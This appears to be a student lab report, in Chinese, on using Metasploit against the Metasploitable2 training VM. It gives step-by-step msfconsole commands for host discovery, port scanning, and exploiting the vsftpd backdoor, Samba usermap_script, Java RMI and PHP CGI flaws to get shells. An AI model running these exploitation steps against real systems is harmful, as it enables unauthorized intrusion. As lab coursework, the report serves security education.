1.实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
(4)Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST (靶机IP)
exploit/run
sessions -i id
shell (进入meterpreter时,使用whoami验证下)
(5)PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST ip 设置要攻击的机器IP
exploit/run 开始攻击
2.实验过程
2.1前期渗透
2.1.1主机发现
在打开的kali中启动MSF框架
搜索arp_sweep模块
search arp_sweep
使用arp_sweep模块进入该模块
use 0
set RHOSTS 192.168.26.0/24
set THREADS 30 //设置线程数
run
从返回结果可以看到,arp_sweep模块很快发现了192.168.26.0/24网段上拥有的活跃主机,其中192.168.26.144为靶机Metasploitable2的IP。
2.1.2端口扫描
扫描win 7的TCP端口
进入msf
search portscan
看到第5条为TCP扫描
Use 5
set RHOSTS 192.168.26.143
Run
看到,可以扫描出这些开放的TCP端口
2.2Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
利用步骤:
在kali中执行msfconsole 启动metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞
set RHOST 192.168.26.144 设置要攻击的机器IP(靶机IP)
exploit/run 开始攻击
利用成功
执行uname –a、 pwd、 id等命令 验证
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
利用步骤:
use exploit/multi/samba/usermap_script 选择漏洞
set RHOST 192.168.26.144 设置要攻击的机器IP
exploit 开始攻击
利用成功 执行uname–a验证
2.4Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
操作步骤:
首先查看1099端口是否打开。
search portscan
Use 5
set RHOSTS 192.168.26.143
set ports 1-65535
run
看到1099端口开放
然后在MSF中:
use exploit/multi/misc/java_rmi_server
show options 查看配置参数
set RHOST 192.168.26.144
exploit/run
sessions -i 1
shell (进入meterpreter时,使用whoami验证下)
验证结果:攻击成功。
2.5PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在kali中执行msfconsole,启动metasploit
use exploit/multi/http/php_cgi_arg_injection 选择漏洞
set RHOST 192.168.26.144设置要攻击的机器IP
exploit/run 开始攻击
攻击成功。
3.问题及解决方案
- 问题1:sessions -i id这个指令中,不知道id该为何值。
- 问题1解决方案:如图
最后一行Meterpreter session 1 opened,可推出id应为1.
4.学习感悟、思考等
从作业和实验中,我学会了使用metasploit的渗透方法,大致分为五步。1.search找到靶机漏洞模块
2.use使用功能模块
3.set设置攻击的基本信息,包括靶机IP等
4.show展示配置信息
5.run/exploit进行攻击
同时,从受害者方来看,我们日常生活中一定不能随意打开来路不明的网址、文件,要保证自己的设备时刻处于保护中,警惕信息泄露。